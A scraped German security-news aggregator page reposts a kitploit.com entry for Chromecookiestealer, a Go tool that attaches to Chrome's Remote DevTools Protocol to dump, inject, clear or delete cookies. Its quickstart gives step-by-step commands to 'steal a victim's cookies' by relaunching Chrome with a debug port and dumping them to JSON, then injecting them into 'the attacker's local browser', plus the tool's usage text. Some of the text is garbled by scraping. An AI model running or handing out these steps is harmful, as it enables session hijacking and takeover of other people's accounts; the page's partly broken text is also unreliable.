EILMELDUNGEN LIVE
🔧 AI Nachrichten IBM Technology: What Is MLflow? Tracing AI Agents & LLM Workflows(17.09.2026 um 13:00 Uhr)
•
🍏 iOS / Mac OSiPhone 17 review one year later: Still plenty to appreciate(17.09.2026 um 13:37 Uhr)
•
🍏 iOS / Mac OSApple sets October 22 for App Store subscriptions bought by the seat(17.09.2026 um 11:59 Uhr)
•
🪟 Windows TippsMercedes bringt eine günstigere C-Klasse Electric mit Allradantrieb auf den Markt(17.09.2026 um 12:33 Uhr)
•
🪟 Windows TippsAndroid 17: Diese Samsung-Galaxy-Smartphones bekommen jetzt das Update(17.09.2026 um 13:10 Uhr)
•
🤖 Android TippsBYD: Noch mehr Schiffe, um Elektroautos in die Welt zu bringen(17.09.2026 um 13:00 Uhr)
•
🕵️ SicherheitslückenCVE-2026-75156 | Apache Airflow FAB Provider up to 3.8.0 OAuth Authentication improper authentication(17.09.2026 um 13:05 Uhr)
•
🕵️ SicherheitslückenCVE-2026-82052 | MongoDB up to 7.0.40/8.0.29/8.3.8 Aggregation Pipeline $regexFindAll assertion(17.09.2026 um 13:05 Uhr)
•
🕵️ SicherheitslückenCVE-2026-8070 | ASUS Armoury Crate up to 6.4.12 permission assignment(17.09.2026 um 13:05 Uhr)
•
🕵️ SicherheitslückenCVE-2026-16004 | ASUS Armoury Crate up to 6.5.7 Armoury Crate driver access control(17.09.2026 um 13:05 Uhr)
•
🔧 AI Nachrichten IBM Technology: What Is MLflow? Tracing AI Agents & LLM Workflows(17.09.2026 um 13:00 Uhr)
•
🍏 iOS / Mac OSiPhone 17 review one year later: Still plenty to appreciate(17.09.2026 um 13:37 Uhr)
•
🍏 iOS / Mac OSApple sets October 22 for App Store subscriptions bought by the seat(17.09.2026 um 11:59 Uhr)
•
🪟 Windows TippsMercedes bringt eine günstigere C-Klasse Electric mit Allradantrieb auf den Markt(17.09.2026 um 12:33 Uhr)
•
🪟 Windows TippsAndroid 17: Diese Samsung-Galaxy-Smartphones bekommen jetzt das Update(17.09.2026 um 13:10 Uhr)
•
🤖 Android TippsBYD: Noch mehr Schiffe, um Elektroautos in die Welt zu bringen(17.09.2026 um 13:00 Uhr)
•
🕵️ SicherheitslückenCVE-2026-75156 | Apache Airflow FAB Provider up to 3.8.0 OAuth Authentication improper authentication(17.09.2026 um 13:05 Uhr)
•
🕵️ SicherheitslückenCVE-2026-82052 | MongoDB up to 7.0.40/8.0.29/8.3.8 Aggregation Pipeline $regexFindAll assertion(17.09.2026 um 13:05 Uhr)
•
🕵️ SicherheitslückenCVE-2026-8070 | ASUS Armoury Crate up to 6.4.12 permission assignment(17.09.2026 um 13:05 Uhr)
•
🕵️ SicherheitslückenCVE-2026-16004 | ASUS Armoury Crate up to 6.5.7 Armoury Crate driver access control(17.09.2026 um 13:05 Uhr)
•
📰 IT Security Nachrichten 🕛 vor 2 Jahren 3 Min Lesezeit SECURITY-FEED
0

Chromecookiestealer - Steal/Inject Chrome Cookies Over The DevTools Protocol

↗ Quelle (kitploit.com)
🔬 IoC Intelligence (1 Indikatoren erkannt)
127[.]0[.]0[.]1
🗣️ Stimme:
📑 Inhaltsübersicht
using its Remote DevTools protocol and steals/injects/clears/deletes cookies.

Heavily inspired by . The same format is used for cookies to be loaded.

For legal use only.

into (another instance of) Chrome
  • Clear Chrome's cookies
  • Defaults settable at compile time

    • Quickstart

    Steal a victim's cookies:

    CODE 
    git clone https://github.com/magisterquis/chromecookiestealer.git
    cd chromecookiestealer
    go build
    pkill Chrome
    /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222 --restore-last-session # Varies by target
    ./chromecookiestealer -dump ./cookies.json

    Inject into the attacker's local browser:

    CODE 
    # Start Chrome with a debug port, as above.
    ./chromecookiestealer -clear -inject ./cookies.json

    Usage

    CODE 
    Usage: chromecookiestealer [options]
    Attaches to Chrome using the Remote DevTools Protocol (--remote-debugging-port)
    and, in order and as requested:

    - Dumps cookies
    - Clears cookies
    - Injects cookies
    - Deletes selected cookies

    Parameters for cookies to be deleted should be represented as an array of JSON
    objects with the following string fields:

    name   - Name of the cookies to remove.
    url    - If specified, deletes all the cookies with the given name where domain
             and path match provided URL.
    domain - If specified, deletes only cookies with the exact domain.
    path   - If specified, deletes only cookies with the exact path.

    Filenames may also be "-" for stdin/stdout.

    Options:
      -chrome URL
        	Chrome remote  Protocol is a bit of a moving target.  It may be necessary  to use a newer version of the   libraries should this  program stop working.  This can be done with
      
      
        CODE      
      
    go get -u -v all
    go mod tidy
    go build
      
    which could well have the side-effect of breaking everything else.
      
    ¯\_(ツ)_/¯
      

      
        
     Vollständiges Original-Advisory
        
    Ausführliche Details, Exploit-Analyse & Hersteller-Stellungnahme auf kitploit.com.
      
          ↗ Original-Artikel auf kitploit.com lesen
    Wie bewertest du diesen Beitrag?
    1 Klick Feedback
    Teilen mit Netzwerk & Team:
    Community Threat-Level Barometer
    Live Votum

    Wie stufst du das Risiko dieser Schwachstelle / Bedrohung für dein Unternehmen ein?

    Noch keine Stimmen — schätze das Risiko als Erster ein.

    Community-Analysen & Experten-Meinungen 0

    Verfasse deine eigene Analyse, teile Workarounds oder diskutiere diesen Vorfall im Blog.
    Noch keine Community-Analyse verfasst. Markiere einen Textabschnitt oder klicke oben auf „ Eigene Analyse verfassen“!
    Community Pulse: Relevanz-Einschätzung
    1 Klick Experten-Votum
    🔴 Akute Relevanz 0%
    🟡 In Evaluierung 0%
    🟢 Keine Auswirkung 0%
    Spannende Innovation 0%
    Verwandte Story-Cluster & Quellen (Vektor-KI)
    Port 8095 Engine
    1 Quelle
    Mercedes bringt eine günstigere C-Klasse Electric mit Allradantrieb auf den Markt
    1 Quelle
    Android 17: Diese Samsung-Galaxy-Smartphones bekommen jetzt das Update
    1 Quelle
    BYD: Noch mehr Schiffe, um Elektroautos in die Welt zu bringen
    Tipp: Mit Pfeiltasten [ ← ] und [ → ] blättern
    Vollbild-Vorschau
    Powered by tsecurity.de tsecurity.de Hub
    🚀 Auf tsecurity.de entdecken
    Ähnliche Beiträge
    🔍 Verwandte News

    Auch interessante Nachrichten Chromecookiestealer - Steal/Inject Chrome Cookies Over The DevTools Protocol

    Thematisch verwandte Begriffe: Chromecookiestealer, StealInject, Chrome, Cookies · 6 Treffer

    Videos werden geladen ...

    Beiträge werden geladen ...

    Videos werden geladen ...

    Beiträge werden geladen ...

    Videos werden geladen ...

    Beiträge werden geladen ...

    Videos werden geladen ...

    Beiträge werden geladen ...

    Videos werden geladen ...

    Powered by tsecurity.de tsecurity.de Hub
    🚀 Auf tsecurity.de entdecken